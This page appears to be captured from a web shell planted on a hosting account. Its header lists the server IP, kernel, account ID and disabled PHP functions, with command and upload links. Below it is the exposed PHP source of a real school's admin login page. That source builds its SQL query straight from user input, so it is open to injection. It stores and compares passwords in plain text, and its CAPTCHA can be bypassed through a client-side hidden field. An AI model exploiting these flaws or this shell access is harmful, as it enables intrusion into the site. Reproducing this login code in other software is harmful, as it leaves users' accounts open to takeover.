|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/domains/vethathirimaharishismartschool.com/public_html/admin/logo/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
function generateCaptcha($length = 6) {
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$captcha = '';
$charactersLength = strlen($characters);
for ($i = 0; $i < $length; $i++) {
$captcha .= $characters[random_int(0, $charactersLength - 1)];
}
return substr($captcha, 0, $length);
}
$captcha = generateCaptcha();
include "db.php";
session_start();
if(isset($_POST['login'])){
$email=$_POST['email'];
$password=$_POST['password'];
$inputCaptcha = $_POST['captcha'];
$storedCaptcha = $_POST['storedCaptcha'];
if (empty($inputCaptcha)) {
echo "<script>alert('Please enter Captcha');</script>";
} else {
if ($inputCaptcha === $storedCaptcha) {
$sql="SELECT * FROM admin WHERE AEMAIL='$email' and APASS='{$password}'";
$res=$connect->query($sql);
if($res->num_rows>0)
{
$row=$res->fetch_assoc();
$_SESSION['aid']=$row["AID"];
$_SESSION['aname']=$row["aname"];
echo "<script>window.open('index-1.php','_self')
</script>";
}
else {
echo "<script>alert('invalid password')
</script>";
}
}
else {
echo "<script>alert('Invalid CAPTCHA')
</script>";
}
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="description" content="Neon Admin Panel" />
<meta name="author" content="" />
<link rel="shortcut icon" href="logo.png" type="image/x-icon" />
<title>Vethathiri || Admin</title>
<link rel="stylesheet" href="assets/js/jquery-ui/css/no-theme/jquery-ui-1.10.3.custom.min.css">
<link rel="stylesheet" href="assets/css/font-icons/entypo/css/entypo.css">
<link rel="stylesheet" href="//fonts.googleapis.com/css?family=Noto+Sans:400,700,400italic">
<link rel="stylesheet" href="assets/css/bootstrap.css">
<link rel="stylesheet" href="assets/css/neon-core.css">
<link rel="stylesheet" href="assets/css/neon-theme.css">
<link rel="stylesheet" href="assets/css/neon-forms.css">
<link rel="stylesheet" href="assets/css/custom.css">
<script src="assets/js/jquery-1.11.3.min.js"></script>
<!--[if lt IE 9]><script src="assets/js/ie8-responsive-file-warning.js"></script><![endif]-->
<!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script>
<script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body class="page-body login-page login-form-fall" data-url="http://neon.dev">
<!-- This is needed when you send requests via Ajax -->
<script type="text/javascript">
var baseurl = '';
</script>
<div class="login-container">
<div class="login-header login-caret">
<div class="login-content">
<a href="index.html" class="logo">
<img src="logo.png" width="120" alt="" />
</a>
<!-- <p>Vethathiri Smart School</p> -->
<p class="description">Dear user, log in to access the admin area!</p>
<!-- progress bar indicator -->
<div class="login-progressbar-indicator">
<h3>43%</h3>
<span>logging in...</span>
</div>
</div>
</div>
<div class="login-progressbar">
<div></div>
</div>
<div class="login-form">
<div class="login-content">
<div class="form-login-error">
<h3>Invalid login</h3>
<p>Enter <strong>demo</strong>/<strong>demo</strong> as login and password.</p>
</div>
<form method="POST" role="form" action='<?php echo $_SERVER["REQUEST_URI"] ;?>'>
<div class="form-group">
<div class="input-group">
<div class="input-group-addon">
<i class="entypo-user"></i>
</div>
<input type="email" class="form-control" name="email" id="username" placeholder="Email" autocomplete="off" />
</div>
</div>
<div class="form-group">
<div class="input-group">
<div class="input-group-addon">
<i class="entypo-key"></i>
</div>
<input type="password" class="form-control" name="password" id="password" placeholder="Password" autocomplete="off" />
</div>
</div>
<div class='form-group'>
<div class="input-group" style="margin-bottom:20px;">
<div class="input-group-addon">
<i class="entypo-key"></i>
</div>
<input type='text' name='captcha' placeholder="captcha" class='form-control' id="field-cap" required >
</div>
<span class="captcha" > <?php echo htmlspecialchars($captcha); ?></span>
<input type="hidden" name="storedCaptcha" value="<?php echo htmlspecialchars($captcha); ?>" />
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary btn-block btn-login" name='login'>
<i class="entypo-login"></i>
Login In
</button>
</div>
<!-- Implemented in v1.1.4 -->
<!--
You can also use other social network buttons
<div class="form-group">
<button type="button" class="btn btn-default btn-lg btn-block btn-icon icon-left twitter-button">
Login with Twitter
<i class="entypo-twitter"></i>
</button>
</div>
<div class="form-group">
<button type="button" class="btn btn-default btn-lg btn-block btn-icon icon-left google-button">
Login with Google+
<i class="entypo-gplus"></i>
</button>
</div> -->
</form>
<div class="login-bottom-links">
<!-- <a href="forgetpassword.php" class="link">Forgot your password?</a>
-->
<br />
</div>
</div>
<div class="login-bottom-links p-0 m-0 col-12">
<div class="text-center padding-t-3">
<div class="copyright">
<p>
© Vethathiri Smart School 2024 All Right Reseved. Developed by <i class="entypo-heart" style='color:red;'></i><a target="_blank" href="https://thedotstudios.com/"><span style='color:#949494'>TheDotStudios.com</span></a>. <br />
</p>
</div>
</div>
</div>
</div>
</div>
<!-- Bottom scripts (common) -->
<script src="assets/js/gsap/TweenMax.min.js"></script>
<script src="assets/js/jquery-ui/js/jquery-ui-1.10.3.minimal.min.js"></script>
<script src="assets/js/bootstrap.js"></script>
<script src="assets/js/joinable.js"></script>
<script src="assets/js/resizeable.js"></script>
<script src="assets/js/neon-api.js"></script>
<script src="assets/js/jquery.validate.min.js"></script>
<script src="assets/js/neon-login.js"></script>
<!-- JavaScripts initializations and stuff -->
<script src="assets/js/neon-custom.js"></script>
<!-- Demo Settings -->
<script src="assets/js/neon-demo.js"></script>
</body>
</html>